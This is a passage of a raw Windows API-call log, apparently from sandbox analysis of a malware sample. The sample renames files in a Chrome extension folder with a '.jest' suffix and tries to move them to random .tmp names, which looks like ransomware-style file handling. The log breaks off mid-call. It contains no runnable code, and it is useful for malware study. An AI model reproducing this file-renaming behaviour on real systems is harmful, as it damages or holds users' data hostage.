lpFilePart=0x18e6d8*="cast_route_details.html") returned 0x9e [0150.278] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xc00000c, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c978, ftLastAccessTime.dwLowDateTime=0x14d6e00, ftLastAccessTime.dwHighDateTime=0x14469f8, ftLastWriteTime.dwLowDateTime=0x60, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.278] GetLastError () returned 0x2 [0150.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.279] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.279] VarBstrFromR4 (in: fltIn=0x47944ffb, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.96") returned 0x0 [0150.280] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.280] CoFreeUnusedLibraries () [0150.280] GetTickCount () returned 0x115757e [0150.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.280] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.280] GetTickCount () returned 0x115757e [0150.280] IsWindowVisible (hWnd=0x30268) returned 0 [0150.280] Sleep (dwMilliseconds=0x0) [0150.281] GetFullPathNameA (in: lpFileName="kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", lpFilePart=0x18e708*="kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp") returned 0x8f [0150.281] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html", lpFilePart=0x18e708*="cast_route_details.html") returned 0x9e [0150.282] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kjamzv_ imchiiij5l6jv7q9gyrzm1mpw3qq8w4g-frxumxrmsvu8wo4_i9ywl1njjzoljepycos2jrom-thkx-vn4eqbgfue7iej.tmp")) returned 0 [0150.282] GetLastError () returned 0x2 [0150.282] GetLastError () returned 0x2 [0150.282] SetLastError (dwErrCode=0x2) [0150.282] GetLastError () returned 0x2 [0150.282] SetLastError (dwErrCode=0x2) [0150.282] GetLastError () returned 0x2 [0150.282] SetLastError (dwErrCode=0x2) [0150.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.282] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.283] GetFullPathNameA (in: lpFileName="kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", lpFilePart=0x18e6e4*="kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp") returned 0x8f [0150.283] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kJaMzv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4d614a6b, cFileName="zv_ imcHiiiJ5l6Jv7Q9GyRzM1mpw3qQ8w4g-FRxuMXrmsvu8WO4_i9YWL1NJjZoljEpycos2JRoM-tHKx-Vn4EqBGfuE7ieJ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.283] GetLastError () returned 0x2 [0150.283] GetLastError () returned 0x2 [0150.283] SetLastError (dwErrCode=0x2) [0150.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55e4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.283] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.287] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.287] CoFreeUnusedLibraries () [0150.287] GetTickCount () returned 0x115758e [0150.287] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.287] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.288] GetTickCount () returned 0x115758e [0150.288] IsWindowVisible (hWnd=0x30268) returned 0 [0150.288] Sleep (dwMilliseconds=0x0) [0150.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.289] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.289] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.jest")) returned 1 [0150.293] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFilePart=0x18e6d8*="cast_app.css") returned 0x9e [0150.293] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xc00000c, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c978, ftLastAccessTime.dwLowDateTime=0x14d6e00, ftLastAccessTime.dwHighDateTime=0x14469f8, ftLastWriteTime.dwLowDateTime=0x60, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.293] GetLastError () returned 0x2 [0150.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.293] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.293] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.294] VarBstrFromR4 (in: fltIn=0x47944ffd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.98") returned 0x0 [0150.294] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.294] CoFreeUnusedLibraries () [0150.294] GetTickCount () returned 0x115758e [0150.294] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.294] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.294] GetTickCount () returned 0x115758e [0150.295] IsWindowVisible (hWnd=0x30268) returned 0 [0150.295] Sleep (dwMilliseconds=0x0) [0150.295] GetFullPathNameA (in: lpFileName="hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", lpFilePart=0x18e708*="hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp") returned 0x8f [0150.296] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css", lpFilePart=0x18e708*="cast_app.css") returned 0x9e [0150.296] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hyzry4hkqkky3lt0tddlvyt80rme5qvrntqus d4gwpr7gqik 5minz2pov wxi-dcriidc8gupu-b2vu4t6r w5faoe5nuldm-kp.tmp")) returned 0 [0150.296] GetLastError () returned 0x2 [0150.296] GetLastError () returned 0x2 [0150.296] SetLastError (dwErrCode=0x2) [0150.296] GetLastError () returned 0x2 [0150.296] SetLastError (dwErrCode=0x2) [0150.296] GetLastError () returned 0x2 [0150.296] SetLastError (dwErrCode=0x2) [0150.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.297] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.297] GetFullPathNameA (in: lpFileName="hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", lpFilePart=0x18e6e4*="hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp") returned 0x8f [0150.297] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hYZry4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x725a5968, cFileName="y4HKqkKy3LT0tDdLvyT80rME5QvRntquS D4Gwpr7gqik 5MInZ2pOV wxi-DcRiIDC8GuPU-B2Vu4t6R w5faoe5nuLdM-kp.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.297] GetLastError () returned 0x2 [0150.297] GetLastError () returned 0x2 [0150.297] SetLastError (dwErrCode=0x2) [0150.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f55bc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.298] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0150.298] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.298] CoFreeUnusedLibraries () [0150.299] GetTickCount () returned 0x115758e [0150.299] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.299] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.299] GetTickCount () returned 0x115758e [0150.299] IsWindowVisible (hWnd=0x30268) returned 0 [0150.299] Sleep (dwMilliseconds=0x0) [0150.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.300] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0150.301] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png.jest")) returned 1 [0150.302] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFilePart=0x18e6d8*="chromecast_logo_grey.png") returned 0xaa [0150.302] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x1439870, ftLastAccessTime.dwLowDateTime=0x1448c90, ftLastAccessTime.dwHighDateTime=0x14100c4, ftLastWriteTime.dwLowDateTime=0x10, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x4000, nFileSizeLow=0x1439708, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.302] GetLastError () returned 0x2 [0150.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7ec, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.302] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0150.303] VarBstrFromR4 (in: fltIn=0x47944fff, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75935.99") returned 0x0 [0150.303] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.303] CoFreeUnusedLibraries () [0150.303] GetTickCount () returned 0x115759d [0150.303] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.303] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.303] GetTickCount () returned 0x115759d [0150.304] IsWindowVisible (hWnd=0x30268) returned 0 [0150.304] Sleep (dwMilliseconds=0x0) [0150.304] GetFullPathNameA (in: lpFileName=" ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", lpFilePart=0x18e708*=" ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp") returned 0x8e [0150.305] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png", lpFilePart=0x18e708*="chromecast_logo_grey.png") returned 0xaa [0150.305] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ ewgcpr5hsyqawqbgkim1ghq43pkpqrq2jcpnqx0ejciwd34_7u 29htgr8jgztjltnsofea2frg9hrrci4ho00mbuwcgffsazir.tmp")) returned 0 [0150.305] GetLastError () returned 0x2 [0150.305] GetLastError () returned 0x2 [0150.305] SetLastError (dwErrCode=0x2) [0150.305] GetLastError () returned 0x2 [0150.305] SetLastError (dwErrCode=0x2) [0150.305] GetLastError () returned 0x2 [0150.305] SetLastError (dwErrCode=0x2) [0150.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0150.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0150.306] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0150.306] GetFullPathNameA (in: lpFileName=" ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 29Htgr8JgztjlTnSOfeA2Frg9HrrcI4Ho00mbuwCGFFSAZIr.tmp", lpFilePart=0x18e6e4*=" ewGcPr5HSYQAWqBgkIM1gHq43pkpqRQ2JCPNqX0ejcIWD34_7u 